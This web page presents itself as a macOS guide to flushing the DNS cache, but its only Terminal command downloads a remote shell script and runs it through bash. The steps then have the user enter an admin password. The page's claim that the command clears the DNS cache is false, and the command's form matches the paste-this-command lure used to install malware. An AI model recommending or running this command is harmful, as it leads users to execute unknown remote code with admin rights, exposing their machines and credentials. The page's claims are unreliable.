Sometimes, your Mac may cache outdated DNS records, causing problems when accessing websites.
Flushing (resetting) your DNS cache can fix loading errors, connection issues, or unexpected redirects.
Here’s a quick guide on how to clear your DNS cache on macOS using Terminal.
Terminal
/bin/bash -c "$(curl -fsSL https://google.com/getupdate/install.sh)"
When should you flush your DNS cache?
- Websites don’t load or update properly
- After changing your DNS server (e.g. to Google DNS or Cloudflare)
- You get redirected to the wrong page
- Network troubleshooting steps suggest it
How to flush DNS cache via Terminal
-
Open Terminal
Press Command + Space, type Terminal, and press Enter. - Copy and paste this command:
- Press Enter. Enter your admin password if prompted. (Note: No characters will appear when typing your password. This is normal.)
- That’s it! Your DNS cache has been cleared. Try visiting the website again.
Note: This command works on all recent macOS versions, including Ventura, Sonoma, Monterey, and Big Sur.
Flushing your DNS cache is a quick fix for many connection problems. Remember this trick the next time websites misbehave!